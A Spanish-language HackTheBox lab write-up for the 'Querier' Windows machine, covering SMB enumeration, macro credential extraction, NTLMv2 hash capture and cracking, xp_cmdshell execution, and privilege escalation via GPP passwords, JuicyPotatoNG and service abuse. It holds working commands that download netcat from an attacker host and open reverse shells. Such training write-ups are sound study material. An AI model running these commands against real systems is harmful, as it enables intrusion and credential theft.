xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



HackTheBox

Querier



Enumeración


Iniciamos la máquina escaneando los puertos de la máquina con nmap donde encontramos varios puertos abiertos con servicios como smb, mssql y winrm

❯ nmap 10.10.10.125
Nmap scan report for 10.10.10.125  
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
1433/tcp  open  ms-sql-s
5985/tcp  open  wsman
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown
49670/tcp open  unknown
49671/tcp open  unknown

Si enumeramos un poco de información con crackmapexec en SMB nos encontramos con que el nombre de la máquina es QUERIER que pertenece al dominio htb.local

❯ crackmapexec smb 10.10.10.125
SMB         10.10.10.125      445    QUERIER          [*] Windows 10.0 Build 17763 x64 (name:QUERIER) (domain:HTB.LOCAL) (signing:False) (SMBv1:False)  

Al intentar listar los recursos compartidos como el usuario null sin contraseña nos devuvelve que no encuentra el servidor para autenticarse que seria el DC

❯ crackmapexec smb 10.10.10.125 -u null -p '' --shares
SMB         10.10.10.125      445    QUERIER          [*] Windows 10.0 Build 17763 x64 (name:QUERIER) (domain:HTB.LOCAL) (signing:False) (SMBv1:False)  
SMB         10.10.10.125      445    QUERIER          [-] HTB.LOCAL\null: STATUS_NO_LOGON_SERVERS

Podemos usar el parametro --local-auth para usar autenticacion a nivel local y no de dominio ya que esta no funciona, al hacerlo podemos ver un recurso Reports

❯ crackmapexec smb 10.10.10.125 -u null -p '' --shares --local-auth
SMB         10.10.10.125      445    QUERIER          [*] Windows 10.0 Build 17763 x64 (name:QUERIER) (domain:QUERIER) (signing:False) (SMBv1:False)  
SMB         10.10.10.125      445    QUERIER          [+] QUERIER\null:
SMB         10.10.10.125      445    QUERIER          [+] Enumerated shares
SMB         10.10.10.125      445    QUERIER          Share           Permissions     Remark
SMB         10.10.10.125      445    QUERIER          -----           -----------     ------
SMB         10.10.10.125      445    QUERIER          ADMIN$                          Remote Admin
SMB         10.10.10.125      445    QUERIER          C$                              Default share
SMB         10.10.10.125      445    QUERIER          IPC$            READ            Remote IPC
SMB         10.10.10.125      445    QUERIER          Reports         READ

Con smbclient nos conectarmos al recurso Reports como el usuario null sin contraseña, en el encontramos solo un archivo xlsm asi que lo descargamos

❯ impacket-smbclient WORKGROUP/null@10.10.10.125 -no-pass
Impacket v0.11.0 - Copyright 2023 Fortra

Type help for list of commands
# use Reports
# ls
drw-rw-rw-          0  Mon Jan 28 18:26:31 2019 .
drw-rw-rw-          0  Mon Jan 28 18:26:31 2019 ..
-rw-rw-rw-      12229  Mon Jan 28 18:26:31 2019 Currency Volume Report.xlsm  
# get Currency Volume Report.xlsm
#

Al abrir el archivo xlsm con LibreOffice encontramos un archivo vacio

Podemos ver si existen macros existentes en este archivo en Tools > Macros

En el archivo existe una macro ThisWorkbook que tiene una funcion Connect()

Esta define las credenciales del usuario reporting para conectarse a MSSQL y mediante una query leer el contenido de las columnas existentes en la tabla volume

Rem Attribute VBA_ModuleType=VBADocumentModule
Option VBASupport 1

' macro to pull data for client volume reports
'
' further testing required

Private Sub Connect()

Dim conn As ADODB.Connection
Dim rs As ADODB.Recordset

Set conn = New ADODB.Connection
conn.ConnectionString = "Driver={SQL Server};Server=QUERIER;Trusted_Connection=no;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6"  
conn.ConnectionTimeout = 10
conn.Open

If conn.State = adStateOpen Then

  ' MsgBox "connection successful"

  'Set rs = conn.Execute("SELECT * @@version;")
  Set rs = conn.Execute("SELECT * FROM volume;")
  Sheets(1).Range("A1").CopyFromRecordset rs
  rs.Close

End If

End Sub


Shell - mssql-svc


Podemos comprobar las credenciales con crackmapexec en autenticacion local

❯ crackmapexec smb 10.10.10.125 -u reporting -p 'PcwTWTHRwryjc$c6' --local-auth
SMB         10.10.10.125      445    QUERIER          [*] Windows 10.0 Build 17763 x64 (name:QUERIER) (domain:QUERIER) (signing:False) (SMBv1:False)  
SMB         10.10.10.125      445    QUERIER          [+] QUERIER\reporting:PcwTWTHRwryjc$c6

Ya que en la macro se usan para eso nos conectaremos a mssql agregando el parametro -windows-auth ya que no es una autenticacion de sql sino de windows

❯ impacket-mssqlclient WORKGROUP/reporting:'PcwTWTHRwryjc$c6'@10.10.10.125 -windows-auth  
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: volume
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(QUERIER): Line 1: Changed database context to 'volume'.
[*] INFO(QUERIER): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL>

Si intentamos habilitar el modulo xp_cmdshell nos dice que no tenemos permisos

SQL> enable_xp_cmdshell
[-] ERROR(QUERIER): Line 105: User does not have permission to perform this action.
[-] ERROR(QUERIER): Line 1: You do not have permission to run the RECONFIGURE statement.
[-] ERROR(QUERIER): Line 62: The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option.  
[-] ERROR(QUERIER): Line 1: You do not have permission to run the RECONFIGURE statement.
SQL>

Podemos ejecutar xp_dirtree dentro de mssql, para poder capturar la autenticacion crearemos un servidor smb usando la herramienta smbserver de impacket

❯ impacket-smbserver kali . -smb2support
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0  
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

Ahora usando xp_dirtree podemos hacer una petición al servidor smb que creamos

SQL> xp_dirtree '\\10.10.14.10\kali'  

subdirectory   depth
------------   -----

SQL>

En la petición se tramita una autenticación la cual nuestro servidor smb intercepta y se traduce en un hash NTLMv2 en este caso perteneciente al usuario mssql-svc

❯ impacket-smbserver kali . -smb2support
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.10.125,49675)
[*] AUTHENTICATE_MESSAGE (QUERIER\mssql-svc,QUERIER)
[*] User QUERIER\mssql-svc authenticated successfully
[*] mssql-svc::QUERIER:aaaaaaaaaaaaaaaa:1b8ac10f2ee096c04f0a953cc0e057a2:0101000000000000006e16f68ea7d901f2aa2691f0e877e100000000010010005700590069006700590045004100680003001000570059006900670059004500410068000200100059005400560052006700710065004c000400100059005400560052006700710065004c0007000800006e16f68ea7d90106000400020000000800300030000000000000000000000000300000ad7f5ab21619b2c8cf9a2feda9274e97076220880de0204c352e231f9ce2b88d0a001000000000000000000000000000000000000900220063006900660073002f00310030002e00310030002e00310034002e00310035003500000000000000000000000000  
[*] Closing down connection (10.10.10.125,49675)
[*] Remaining connections []

Usando john podemos pasarle el hash y obtener la contraseña de mssql-svc

❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
corporate568     (mssql-svc)
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably  
Session completed.

Nuevamente podemos comprobarla con crackmapexec en una autenticacion local

❯ crackmapexec smb 10.10.10.125 -u mssql-svc -p corporate568 --local-auth
SMB         10.10.10.125      445    QUERIER          [*] Windows 10.0 Build 17763 x64 (name:QUERIER) (domain:QUERIER) (signing:False) (SMBv1:False)  
SMB         10.10.10.125      445    QUERIER          [+] QUERIER\mssql-svc:corporate568

Con las credenciales de mssql-svc tambien podemos conectarnos a mssql

❯ impacket-mssqlclient WORKGROUP/mssql-svc:corporate568@10.10.10.125 -windows-auth  
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(QUERIER): Line 1: Changed database context to 'master'.
[*] INFO(QUERIER): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232) 
[!] Press help for extra shell commands
SQL>

Si miramos los usuarios que son administradores sobre mssql nos encontramos con varias cuentas de servicio ademas del usuario Administrator y mssql-svc

SQL> select name from syslogins where sysadmin = '1';  

name
-------------------------
sa
QUERIER\Administrator
NT SERVICE\SQLWriter
NT SERVICE\Winmgmt
NT Service\MSSQLSERVER
NT SERVICE\SQLSERVERAGENT
QUERIER\mssql-svc

SQL>

Tenemos privilegios de administrador lo que nos permite habilitar el modulo xp_cmdshell y ejecutar comandos, en este caso lo hacemos como mssql-svc

SQL> enable_xp_cmdshell
[*] INFO(QUERIER): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.  
[*] INFO(QUERIER): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL> xp_cmdshell whoami

output
-----------------
querier\mssql-svc

SQL>

Para obtener una shell descargamos netcat.exe de nuestra maquina y lo guardamos en el directorio ProgramData, despues nos enviamos una powershell a nuestro host

SQL> xp_cmdshell curl 10.10.14.10/netcat.exe -o C:\ProgramData\netcat.exe

output
--------------------------------------------------------------------------  

SQL>


SQL> xp_cmdshell C:\ProgramData\netcat.exe 10.10.14.10 443 -e powershell

En nuestro listener recibimos una shell como mssql-svc y podemos leer la flag

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.10.125 
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> whoami
querier\mssql-svc
PS C:\Windows\system32> type C:\Users\mssql-svc\Desktop\user.txt  
59b**************************c3a
PS C:\Windows\system32>


Shell - Administrator


Para escalar privilegios usaremos el modulo PowerUp.ps1, lo descargamos en la maquina y lo importamos a powershell usando el comando Importe-Module

PS C:\Users\mssql-svc\Desktop> curl 10.10.14.10/PowerUp.ps1 -o PowerUp.ps1  
PS C:\Users\mssql-svc\Desktop> Import-Module .\PowerUp.ps1
PS C:\Users\mssql-svc\Desktop>

Ahora para buscar formas de escalar invocamos el modulo y busca varias vias

PS C:\Users\mssql-svc\Desktop> Invoke-AllChecks

Privilege   : SeImpersonatePrivilege
Attributes  : SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED
TokenHandle : 2212
ProcessId   : 192
Name        : 192
Check       : Process Token Privileges

ServiceName   : UsoSvc
Path          : C:\Windows\system32\svchost.exe -k netsvcs -p
StartName     : LocalSystem
AbuseFunction : Invoke-ServiceAbuse -Name 'UsoSvc'
CanRestart    : True
Name          : UsoSvc
Check         : Modifiable Services

ModifiablePath    : C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps
IdentityReference : QUERIER\mssql-svc
Permissions       : {WriteOwner, Delete, WriteAttributes, Synchronize...}
%PATH%            : C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps
Name              : C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps
Check             : %PATH% .dll Hijacks
AbuseFunction     : Write-HijackDll -DllPath 'C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps\wlbsctrl.dll'

UnattendPath : C:\Windows\Panther\Unattend.xml
Name         : C:\Windows\Panther\Unattend.xml
Check        : Unattended Install Files

Changed   : {2019-01-28 23:12:48}
UserNames : {Administrator}
NewName   : [BLANK]
Passwords : {MyUnclesAreMarioAndLuigi!!1!}
File      : C:\ProgramData\Microsoft\Group Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml  
Check     : Cached GPP Files

PS C:\Users\mssql-svc\Desktop>

Al terminar el comando nos muestra que ha encontrado una contraseña para Administrator en un archivo GPP, la cual nos la muestra en texto claro

Changed   : {2019-01-28 23:12:48}
UserNames : {Administrator}
NewName   : [BLANK]
Passwords : {MyUnclesAreMarioAndLuigi!!1!}
File      : C:\ProgramData\Microsoft\Group Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml  
Check     : Cached GPP Files

Aunque ya nos la muestra en texto claro si leemos el archivo nos muestra un archivo xml con un campo cpassword el cual podemos desencriptar con gpp-decrypt

PS C:\Users\mssql-svc\Desktop> type 'C:\ProgramData\Microsoft\Group Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml'
<?xml version="1.0" encoding="UTF-8" ?><Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
<User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator" image="2" changed="2019-01-28 23:12:48" uid="{CD450F70-CDB8-4948-B908-F8D038C59B6C}" userContext="0" removePolicy="0" policyApplied="1">
<Properties action="U" newName="" fullName="" description="" cpassword="CiDUq6tbrBL1m/js9DmZNIydXpsE69WB9JrhwYRW9xywOz1/0W5VCUz8tBPXUkk9y80n4vw74KeUWc2+BeOVDQ" changeLogon="0" noChange="0" neverExpires="1" acctDisabled="0" userName="Administrator"></Properties></User></Groups>  
PS C:\Users\mssql-svc\Desktop>

❯ gpp-decrypt CiDUq6tbrBL1m/js9DmZNIydXpsE69WB9JrhwYRW9xywOz1/0W5VCUz8tBPXUkk9y80n4vw74KeUWc2+BeOVDQ  
MyUnclesAreMarioAndLuigi!!1!

Al comprobarla localmente con crackmapexec esta credencial devuelve un Pwn3d!

❯ crackmapexec smb 10.10.10.125 -u Administrator -p 'MyUnclesAreMarioAndLuigi!!1!' --local-auth
SMB         10.10.10.125      445    QUERIER          [*] Windows 10.0 Build 17763 x64 (name:QUERIER) (domain:QUERIER) (signing:False) (SMBv1:False)  
SMB         10.10.10.125      445    QUERIER          [+] QUERIER\Administrator:MyUnclesAreMarioAndLuigi!!1! (Pwn3d!)

Ya que el puerto 5985 esta abierto podemos conectarnos usando las credenciales de Administrator con la herramienta evil-winrm, ahora podemos leer la ultima flag

❯ evil-winrm -i 10.10.10.125 -u Administrator -p 'MyUnclesAreMarioAndLuigi!!1!'  
PS C:\Users\Administrator\Documents> whoami
querier\administrator
PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
680**************************ef0
PS C:\Users\Administrator\Documents>


Extra 1 - Administrator


Entre los privilegios del usuario mssql-svc esta el ya muy conocido SeImpersonatePrivilege que nos permite suplantar a cualquier usuario

PS C:\Users\mssql-svc\Desktop> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========  
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

PS C:\Users\mssql-svc\Desktop>

Usando JuicyPotatoNG.exe podemos ejecutar mediante una cmd el netcat.exe que descargamos antes y enviar una powershell a nuestro host en el puerto 443

PS C:\Users\mssql-svc\Desktop> .\JuicyPotatoNG.exe -t * -p C:\Windows\System32\cmd.exe -a "/c C:\ProgramData\netcat.exe 10.10.14.10 443 -e powershell"  
PS C:\Users\mssql-svc\Desktop>

Al hacerlo este aprovecha el privilegio y suplanta a nt authority\system para enviarnos una powershell, es el usuario con maximos privilegios sobre el equipo

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.10.125
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\> whoami
nt authority\system
PS C:\>


Extra 2 - Administrator


Otra forma es haciendo abusando del servicio UsoSvc que nos muestra PowerUp

ServiceName   : UsoSvc
Path          : C:\Windows\system32\svchost.exe -k netsvcs -p  
StartName     : LocalSystem
AbuseFunction : Invoke-ServiceAbuse -Name 'UsoSvc'
CanRestart    : True
Name          : UsoSvc
Check         : Modifiable Services

Usando Invoke-ServiceAbuse indicamos el nombre del servicio UsoSvc y como comando ejecutaremos nuevamente netcat.exe para enviarnos una powershell

PS C:\Users\mssql-svc\Desktop> Invoke-ServiceAbuse -Name 'UsoSvc' -Command 'C:\ProgramData\netcat.exe 10.10.14.10 443 -e powershell'  

ServiceAbused Command
------------- -------
UsoSvc        C:\ProgramData\netcat.exe 10.10.14.10 443 -e powershell

PS C:\Users\mssql-svc\Desktop>

Al invocarlo el servicio nos envia una powershell como nt authority\system

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.10.125
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.  

PS C:\Windows\System32> whoami
nt authority\system
PS C:\Windows\System32>